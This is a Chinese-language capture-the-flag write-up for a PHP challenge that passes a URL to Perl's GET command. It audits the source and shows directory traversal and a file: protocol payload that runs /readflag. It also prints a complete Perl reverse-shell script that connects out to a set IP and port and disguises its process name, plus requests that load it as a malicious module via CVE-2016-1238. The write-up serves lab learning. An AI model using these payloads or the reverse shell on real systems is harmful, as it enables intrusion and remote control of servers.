BUU 一分题 难得一批。周六有空看下
打开靶机给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__); |
源码审计:
我们可以发现会获取访问的IP数据并输出在屏幕
建立基于ip沙箱文件夹,传入一个参数url
,执行"GET".escapeshellarg($_GET["url"])
,并且将结果写入到我们传入的filename
中
所以我们先算下IP的MD5
0aa2fa6e529abf3024b65e54be447340
尝试目录穿越访问url=../../../../../&filename=a
然后访问sandbox/ipmd5/a
可以发现flag文件和/readflag
www-data用户没法直接读flag.就要尝试执行/readflag
1.在file.pm中open函数参数可控;
2.file.pm先判断(file:文件名)中的文件存在才能执行文件名对应的命令
所以最终的payload:
url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件。 url=file:bash -c /readflag|&filename=ha1c9on 利用open执行代码。
还有一种方式是反弹shell
首先找到一个perl反弹shell的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | #!/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL use strict; use Socket; use FileHandle; use POSIX; my $VERSION = "1.0"; # Where to send the reverse shell. Change these. my $ip = '174.1.85.187'; my $port = 6666; # Options my $daemon = 1; my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shell my $authorised_client_pattern = qr(^127\.0\.0\.1$); # Declarations my $global_page = ""; my $fake_process_name = "/usr/sbin/apache"; # Change the process name to be less conspicious $0 = "[httpd]"; # Authenticate based on source IP address if required if (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } } } elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0); } # Background and dissociate from parent process if required if ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0); } # Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage(); } else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit(); } # Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, ">&SOCK"); open(STDOUT,">&SOCK"); open(STDERR,">&SOCK"); $ENV{'HISTFILE'} = '/dev/null'; system("w;uname -a;id;pwd"); exec({"/bin/sh"} ($fake_process_name, "-i")); # Wrapper around print sub cgiprint { my $line = shift; $line .= "\n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page; } |
设置好端口和靶机地址请求
/?url=http://174.1.85.187/2.pm&filename=URI/ha1c9on.pm
/?url=ha1c9on://ha1c9on.top&filename=ha1c9on.pm
即可返回shell
自己测了一下,当filename中没有URI文件夹的时候不能成功返回shell,不知道什么原因
利用了CVE-2016-1238
漏洞大致构成原因是:`
当解析遇到了非定义的协议(定义的协议在
perl5/LWP/Protocol
文件夹下可以看到,默认支持GHTTP
、cpan
、data
、file
、ftp
、gopher
、http
、https
、loopback
、mailto
、nntp
、nogo
协议)时, 如ha1c9on://ha1c9on.top
,会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块
并尝试eval "require xxx"
,这里我们的恶意pm模块就会被执行。
参考:https://www.jianshu.com/p/3f82685f56a8